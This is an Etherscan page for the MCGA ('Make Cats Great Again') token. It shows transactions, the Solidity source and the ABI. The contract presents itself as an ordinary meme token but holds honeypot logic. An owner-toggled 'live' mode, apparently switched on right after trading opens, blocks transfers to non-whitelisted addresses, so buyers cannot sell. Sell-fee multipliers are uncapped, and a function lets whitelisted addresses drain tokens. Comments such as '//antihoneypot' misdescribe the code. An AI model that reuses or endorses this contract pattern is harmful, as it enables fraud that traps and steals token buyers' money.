Feature Tip: Add private address tag to any address under My Name Tag !
Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 29 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Enable_live | 20208297 | 595 days ago | IN | 0 ETH | 0.00016467 | ||||
| Start Trade | 20208290 | 595 days ago | IN | 0 ETH | 0.00010096 | ||||
| Approve | 20208245 | 595 days ago | IN | 0 ETH | 0.00023639 | ||||
| Approve | 20208241 | 595 days ago | IN | 0 ETH | 0.00032638 | ||||
| Approve | 20208235 | 595 days ago | IN | 0 ETH | 0.0003364 | ||||
| Approve | 20208232 | 595 days ago | IN | 0 ETH | 0.00024545 | ||||
| Approve | 20208218 | 595 days ago | IN | 0 ETH | 0.00024634 | ||||
| Approve | 20208208 | 595 days ago | IN | 0 ETH | 0.00034304 | ||||
| Approve | 20208182 | 595 days ago | IN | 0 ETH | 0.00033848 | ||||
| Approve | 20208153 | 595 days ago | IN | 0 ETH | 0.0003258 | ||||
| Approve | 20208138 | 595 days ago | IN | 0 ETH | 0.0003377 | ||||
| Approve | 20208128 | 595 days ago | IN | 0 ETH | 0.00033441 | ||||
| Approve | 20208120 | 595 days ago | IN | 0 ETH | 0.00023109 | ||||
| Approve | 20208113 | 595 days ago | IN | 0 ETH | 0.00024327 | ||||
| Approve | 20208113 | 595 days ago | IN | 0 ETH | 0.00024327 | ||||
| Approve | 20208095 | 595 days ago | IN | 0 ETH | 0.00034129 | ||||
| Approve | 20208095 | 595 days ago | IN | 0 ETH | 0.00034129 | ||||
| Approve | 20208024 | 595 days ago | IN | 0 ETH | 0.00012347 | ||||
| Approve | 20208022 | 595 days ago | IN | 0 ETH | 0.00033494 | ||||
| Approve | 20208012 | 595 days ago | IN | 0 ETH | 0.00033989 | ||||
| Approve | 20208012 | 595 days ago | IN | 0 ETH | 0.00033989 | ||||
| Approve | 20207965 | 595 days ago | IN | 0 ETH | 0.00026117 | ||||
| Approve | 20207960 | 595 days ago | IN | 0 ETH | 0.00025751 | ||||
| Approve | 20207944 | 595 days ago | IN | 0 ETH | 0.0002462 | ||||
| Approve | 20207908 | 595 days ago | IN | 0 ETH | 0.00024747 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
MCGA
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2024-06-30
*/
/*
Twitter https://x.com/MCGA_Eth
Site https://makecatsgreatagain.tech/
Portal https://t.me/makecatsgreatagain
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
authorizations[_owner] = true;
emit OwnershipTransferred(address(0), msgSender);
}
mapping (address => bool) internal authorizations;
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface InterfaceLP {
function sync() external;
}
contract MCGA is Ownable, ERC20 {
using SafeMath for uint256;
address WETH;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
uint256 public _maxTxAmount = _totalSupply.mul(25).div(1000);
uint256 public _maxWalletToken = _totalSupply.mul(25).div(1000);
uint256 private liquidityFee = 2;
uint256 private marketingFee = 6;
uint256 private devFee = 4;
uint256 private teamFee = 8;
uint256 private burnFee = 0;
uint256 public totalFee = teamFee + marketingFee + liquidityFee + devFee + burnFee;
uint256 private feeDenominator = 100;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
string constant _name = "Make Cats Great Again";
string constant _symbol = "MCGA";
uint8 constant _decimals = 18;
uint256 _totalSupply = 1 * 10**10 * 10**_decimals;
bool public liveMode = false;
mapping (address => bool) public isliveed;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
uint256 sellMultiplier = 150;
uint256 buyMultiplier = 100;
uint256 transferMultiplier = 1200;
address private autoLiquidityReceiver;
address private marketingFeeReceiver;
address private devFeeReceiver;
address private teamFeeReceiver;
address private burnFeeReceiver;
uint256 targetLiquidity = 5;
uint256 targetLiquidityDenominator = 100;
IDEXRouter public router;
InterfaceLP private pairContract;
address public pair;
bool public TradingOpen = false;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply * 1 / 100;
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () {
router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
WETH = router.WETH();
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
pairContract = InterfaceLP(pair);
autoLiquidityReceiver = msg.sender;
marketingFeeReceiver = 0xBE7c4aD7c34495dC448E9c47be49972493E295aC;
devFeeReceiver = msg.sender;
teamFeeReceiver = msg.sender;
burnFeeReceiver = DEAD;
_allowances[address(this)][address(router)] = type(uint256).max;
isFeeExempt[msg.sender] = true;
isFeeExempt[devFeeReceiver] = true;
isFeeExempt[marketingFeeReceiver] = true;
isliveed[msg.sender] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[pair] = true;
isTxLimitExempt[devFeeReceiver] = true;
isTxLimitExempt[marketingFeeReceiver] = true;
isTxLimitExempt[address(this)] = true;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function getOwner() external view override returns (address) {return owner();}
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function setMaxWallet(uint256 maxWallPercent) public {
require(isliveed[msg.sender]);
require(_maxWalletToken >= _totalSupply / 1000); //no less than .1%
_maxWalletToken = (_totalSupply * maxWallPercent ) / 100;
}
function setMaxTransaction(uint256 maxTXPercent) public {
require(isliveed[msg.sender]);
require(_maxTxAmount >= _totalSupply / 1000); //anti honeypot no less than .1%
_maxTxAmount = (_totalSupply * maxTXPercent ) / 1000;
}
function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
uint256 multiplier = transferMultiplier;
if(recipient == pair) {
multiplier = sellMultiplier;
} else if(sender == pair) {
multiplier = buyMultiplier;
}
uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);
uint256 burnTokens = feeAmount.mul(burnFee).div(totalFee);
uint256 contractTokens = feeAmount.sub(burnTokens);
_balances[address(this)] = _balances[address(this)].add(contractTokens);
_balances[burnFeeReceiver] = _balances[burnFeeReceiver].add(burnTokens);
emit Transfer(sender, address(this), contractTokens);
if(burnTokens > 0){
emit Transfer(sender, burnFeeReceiver, burnTokens);
}
return amount.sub(feeAmount);
}
function setAbsoluteTXN(uint256 amount) external onlyOwner {
require(_maxTxAmount >= _totalSupply / 1000);
_maxTxAmount = amount;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if(!authorizations[sender] && !authorizations[recipient]){
require(TradingOpen,"Trading not open yet");
if(liveMode){
require(isliveed[recipient],"Not Whitelisted");
}
}
if (!authorizations[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != burnFeeReceiver && recipient != marketingFeeReceiver && !isTxLimitExempt[recipient]){
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}
// Checks max transaction limit
checkTxLimit(sender, amount);
if(shouldSwapBack()){ swapBack(); }
//Exchange tokens
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient);
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function checkTxLimit(address sender, uint256 amount) internal view {
require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function withdrawStuckEth(uint256 amountPercentage) external onlyOwner { // to marketing
uint256 amountETH = address(this).balance;
payable(marketingFeeReceiver).transfer(amountETH * amountPercentage / 100);
}
function removeStuckToken(address tokenAddress, uint256 tokens) public returns (bool) {
require(isliveed[msg.sender]);
if(tokens == 0){
tokens = ERC20(tokenAddress).balanceOf(address(this));
}
return ERC20(tokenAddress).transfer(msg.sender, tokens);
}
function setNewMultiplier(uint256 _buy, uint256 _sell, uint256 _trans) external onlyOwner {
sellMultiplier = _sell;
buyMultiplier = _buy;
transferMultiplier = _trans;
}
function startTrade() public onlyOwner {
TradingOpen = true;
}
function swapBack() internal swapping {
uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2);
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
uint256 totalETHFee = totalFee.sub(dynamicLiquidityFee.div(2));
uint256 amountETHLiquidity = amountETH.mul(dynamicLiquidityFee).div(totalETHFee).div(2);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
uint256 amountETHteam = amountETH.mul(teamFee).div(totalETHFee);
uint256 amountETHdev = amountETH.mul(devFee).div(totalETHFee);
(bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing}("");
(tmpSuccess,) = payable(devFeeReceiver).call{value: amountETHdev}("");
(tmpSuccess,) = payable(teamFeeReceiver).call{value: amountETHteam}("");
tmpSuccess = false;
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function enable_live(bool _status) public onlyOwner {
liveMode = _status;
}
function manage_live(address[] calldata addresses, bool status) public onlyOwner {
for (uint256 i; i < addresses.length; ++i) {
isliveed[addresses[i]] = status;
}
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
isTxLimitExempt[holder] = exempt;
}
function setFees(uint256 _liquidityFee, uint256 _teamFee, uint256 _marketingFee, uint256 _devFee, uint256 _burnFee, uint256 _feeDenominator) external onlyOwner {
liquidityFee = _liquidityFee;
teamFee = _teamFee;
marketingFee = _marketingFee;
devFee = _devFee;
burnFee = _burnFee;
totalFee = _liquidityFee.add(_teamFee).add(_marketingFee).add(_devFee).add(_burnFee);
feeDenominator = _feeDenominator;
require(totalFee < feeDenominator/2, "Fees cannot be more than 50%"); //antihoneypot
}
function setReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _devFeeReceiver, address _burnFeeReceiver, address _teamFeeReceiver) external onlyOwner {
autoLiquidityReceiver = _autoLiquidityReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
devFeeReceiver = _devFeeReceiver;
burnFeeReceiver = _burnFeeReceiver;
teamFeeReceiver = _teamFeeReceiver;
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
swapEnabled = _enabled;
swapThreshold = _amount;
}
function setTargetLiquidity(uint256 _target, uint256 _denominator) external onlyOwner {
targetLiquidity = _target;
targetLiquidityDenominator = _denominator;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
}
function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
return getLiquidityBacking(accuracy) > target;
}
event AutoLiquify(uint256 amountETH, uint256 amountTokens);
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokens","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"TradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"enable_live","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isliveed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liveMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_live","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"removeStuckToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setAbsoluteTXN","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_teamFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTXPercent","type":"uint256"}],"name":"setMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setNewMultiplier","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_devFeeReceiver","type":"address"},{"internalType":"address","name":"_burnFeeReceiver","type":"address"},{"internalType":"address","name":"_teamFeeReceiver","type":"address"}],"name":"setReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_target","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setTargetLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"withdrawStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052600380546001600160a01b031990811661dead17909155600480549091169055601054610040906103e89061003a906019610484565b90610510565b600555601054610059906103e89061003a906019610484565b6006556002600755600660085560046009556008600a555f600b55600b54600954600754600854600a5461008d91906105a0565b61009791906105a0565b6100a191906105a0565b6100ab91906105a0565b600c556064600d556100bf6012600a610696565b6100ce906402540be4006106a4565b60108190556011805460ff191690556096601555606460168190556104b06017556005601d55601e8190556021805461ffff60a01b1916600160a81b179055906101199060016106a4565b61012391906106bb565b602255348015610131575f80fd5b505f80546001600160a01b031916339081178255808252600160208190526040808420805460ff191690921790915551909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa1580156101ed573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061021191906106da565b600280546001600160a01b0319166001600160a01b03928316179055601f546040805163c45a015560e01b81529051919092169163c45a01559160048083019260209291908290030181865afa15801561026d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061029191906106da565b6002546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303815f875af11580156102df573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061030391906106da565b602180546001600160a01b039283166001600160a01b03199182168117835560208054831690911781556018805483163390811790915560198054841673be7c4ad7c34495dc448e9c47be49972493e295ac178155601a8054851683178155601b8054861684179055600354601c805490961690881617909455305f818152600f85526040808220601f548a16835286528082205f19905584825260138652808220805460ff19908116600190811790925588548b168452828420805482168317905585548b168452828420805482168317905586845260128852828420805482168317905560148852828420805482168317905598548a16835281832080548a1682179055965489168252808220805489168817905592549097168752818720805487168617905586528086208054909516909317909355601054838552600e825282852081905591519182529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610735565b5f825f0361049357505f61050a565b5f61049e83856106a4565b9050826104ab85836106bb565b146105075760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f61050783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061055760201b60201c565b5f81836105775760405162461bcd60e51b81526004016104fe9190610700565b505f61058384866106bb565b95945050505050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561050a5761050a61058c565b6001815b60018411156105ee578085048111156105d2576105d261058c565b60018416156105e057908102905b60019390931c9280026105b7565b935093915050565b5f826106045750600161050a565b8161061057505f61050a565b816001811461062657600281146106305761064c565b600191505061050a565b60ff8411156106415761064161058c565b50506001821b61050a565b5060208310610133831016604e8410600b841016171561066f575081810a61050a565b61067b5f1984846105b3565b805f190482111561068e5761068e61058c565b029392505050565b5f61050760ff8416836105f6565b808202811582820484141761050a5761050a61058c565b5f826106d557634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156106ea575f80fd5b81516001600160a01b0381168114610507575f80fd5b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b61227c806107425f395ff3fe608060405260043610610257575f3560e01c8063715018a61161013f578063a9853b3a116100b3578063d51ed1c811610078578063d51ed1c81461070b578063dd62ed3e1461072a578063df20fd491461076e578063f2fde38b1461078d578063f84ba65d146107ac578063f887ea40146107cb575f80fd5b8063a9853b3a14610662578063ab5a188714610681578063b2bdfa7b146106a0578063b7593ad9146106be578063ce261d10146106ec575f80fd5b80638da5cb5b116101045780638da5cb5b146105a4578063900ba33b146105c057806395d89b41146105d95780639dc7576814610605578063a8aa1b3114610624578063a9059cbb14610643575f80fd5b8063715018a61461051757806378109e541461052b5780637d1db4a51461054057806386f6c3c114610555578063893d20e814610574575f80fd5b80632b112e49116101d65780635d0044ca1161019b5780635d0044ca146104525780635e04e4f814610471578063658d4b7f146104905780636c580801146104af5780636ddd1713146104c357806370a08231146104e3575f80fd5b80632b112e49146103c6578063313ce567146103da5780633554dd3c146103f55780634f85a0c514610414578063571ac8b014610433575f80fd5b80631161ae391161021c5780631161ae391461034057806318160ddd1461035f5780631df4ccfc14610373578063201e79911461038857806323b872dd146103a7575f80fd5b80630445b6671461026257806306fdde031461028a57806308fd3d05146102d0578063095ea7b3146103005780630f72f8ee1461031f575f80fd5b3661025e57005b5f80fd5b34801561026d575f80fd5b5061027760225481565b6040519081526020015b60405180910390f35b348015610295575f80fd5b5060408051808201909152601581527426b0b5b29021b0ba399023b932b0ba1020b3b0b4b760591b60208201525b6040516102819190611da6565b3480156102db575f80fd5b506021546102f090600160a01b900460ff1681565b6040519015158152602001610281565b34801561030b575f80fd5b506102f061031a366004611df6565b6107ea565b34801561032a575f80fd5b5061033e610339366004611e1e565b610856565b005b34801561034b575f80fd5b506102f061035a366004611e35565b6108aa565b34801561036a575f80fd5b50601054610277565b34801561037e575f80fd5b50610277600c5481565b348015610393575f80fd5b5061033e6103a2366004611e35565b6108bd565b3480156103b2575f80fd5b506102f06103c1366004611e55565b6108f1565b3480156103d1575f80fd5b506102776109af565b3480156103e5575f80fd5b5060405160128152602001610281565b348015610400575f80fd5b5061033e61040f366004611e8f565b6109ff565b34801561041f575f80fd5b5061033e61042e366004611f00565b610a87565b34801561043e575f80fd5b506102f061044d366004611f82565b610b1a565b34801561045d575f80fd5b5061033e61046c366004611e1e565b610b26565b34801561047c575f80fd5b5061033e61048b366004611f9b565b610b